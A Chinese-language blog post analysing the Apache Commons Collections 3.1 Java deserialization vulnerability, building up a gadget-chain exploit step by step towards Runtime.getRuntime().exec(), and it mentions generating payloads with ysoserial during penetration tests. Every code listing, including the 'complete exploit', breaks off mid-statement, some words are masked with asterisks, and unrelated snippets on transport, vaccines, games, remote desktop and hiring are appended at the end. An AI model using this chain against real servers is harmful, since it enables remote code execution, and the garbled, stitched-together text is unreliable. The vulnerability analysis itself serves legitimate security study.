虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。
Apache Commons Collections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理 *** 数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。
jdk1.7.0_21 + commons-collections-3.1.jar
Apache Commons Collections组件历史版本下载地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已经集成了该组件的漏洞利用payload;在渗透测试的时候,只需按照Java序列化数据的特征(以十六进制aced或者base64编码格式的rO0AB开头的数据)寻找Java反序列化的入口点,并根据Web应用猜测可能存在CommonsCollections组件,则可以直接使用ysoserial工具直接生成payload进行漏洞利用。
这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。
Transformer接口的定义十分简单,只定义了一个transform() *** ,根据文档说明,该 *** 主要用于对象转换。实现该接口的类还是挺多的,这里主要利用以下3个实现类:ConstantTransformer、InvokerTransformer和ChainedTransformer。
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }
ChainedTransformer类定义了一个Transformer[]数组,并且在实现transform() *** 的时候通过依次遍历该数组元素,并调用数组元素对应的Transformer实现类的transform() *** ,将多个Transformer对象串起来。
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers=transformers; } public Object transform(Object object) { for (int i=0; i < iTransformers.length; i++) { object=iTransformers[i].transform(object); } return object; } ... }
InvokerTransformer类的transform() *** 主要通过反射机制调用传入参数对象的某个 *** ,只需在构造InvokerTransformer对象的时候设置 *** 名、参数类型和参数值即可。
public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName=methodName; iParamTypes=paramTypes; iArgs=args; } //简化后的transform() *** ,通过反射机制调用对象的 *** public Object transform(Object input) { ... Class cls=input.getClass(); Method method=cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }
ConstantTransformer类十分简单,直接返回传入对象。
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant=constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
根据上述情况,我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显,我们需要借助InvokerTransformer类中transform() *** 实现反射调用。如下所示,这里即是代码执行的源头:
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1=new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]
更进一步,我们发现可以借助ChainedTransformer类中的transform() *** 代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]
接下来,我们希望通过反序列化触发调用Transformer对象transform() *** ,达到代码执行的目的。
Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换,该类通过调用decorate() *** 进行实例化,如下所示:
并且在该类中还有个checkSetValue() *** ,在该 *** 中实现了调用Transformer对象的transform() *** ;根据该 *** 描述,checkSetValue() *** 将在setValue() *** 调用的时候被调用:
因此,我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象,再调用setValue() *** 修改Map对象的值,代码如下:
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]
继续寻找通过反序列化触发setValue() *** 执行的地方,最后在AnnotationInvocationHandler类的readObject() *** 中找到了。
AnnotationInvocationHandler类的readObject() *** 如下所示:
由于该类不提供公开的构造 *** 进行初始化,所以,我们通过反射调用该类的构造 *** ,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue() *** ,即
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]
参考链接
1、Lib之过?Java反序列化漏洞通用利用分析:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
2、What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.:https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
3、Marshalling Pickles:https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
4、深入理解 JAVA 反序列化漏洞:https://paper.seebug.org/312/
5、Commons Collections Java反序列化漏洞深入分析:https://security.tencent.com/index.php/blog/msg/97
6、JAVA反序列化 - Commons-Collections组件:https://xz.aliyun.com/t/7031#toc-9
中国的交通网络的发展其实是相当快速的,尤其是在中国的“村村通”工程完工之后,中国的零散的市场都被一条条交通线路连接起来,形成一个庞大的市场,对于任何一个行业而言,一个统一的市场比什么都重要。海运、陆运...
中新网12月9日电 据日本共同社9日报道,美国制药公司辉瑞等研发的新冠疫苗已在英国开始接种。辉瑞与日本政府就2021年上半年供应1.2亿剂(6000万人份)疫苗达成了基本协议,但需要经过日本国内临...
编辑导语:养成类游戏营销产物如今极端火爆,用户纷纷着迷于养本钱身所选的主角的满意感,而且建造出对应了局的攻略。跟着养成类游戏市场的竞争日益剧烈,应该如何举办产物筹划才气使游戏吸引更多的用户呢?我们来看...
首先启用目标计算机的远程桌面提醒:如果目标计算机已经设置,或不在自己的受控范围,请略过本段,可以直接连接测试。1、Windows XP上启用远程桌面在桌面上鼠标右键点击“我的电脑”图标,选择“属性”,...
竞聘上岗(企业内部竞聘ppt范文)人力资源管理实战演练邓玉金2018-03-10 03:17:00 创作者:邓玉金 一、竞聘上岗的基本原理 竞聘上岗的基本原理是:具备一定文凭和一定历经的群体...
针对不容易重新安装系统软件的电脑上客户而言电脑上的系统软件出了难题后,一般都是会将电脑上取得电脑市场交到专业人员来重做系统。那麼电脑城系统如何安装呢?今日我就以电脑市场win7系统软件为例子,给大伙儿...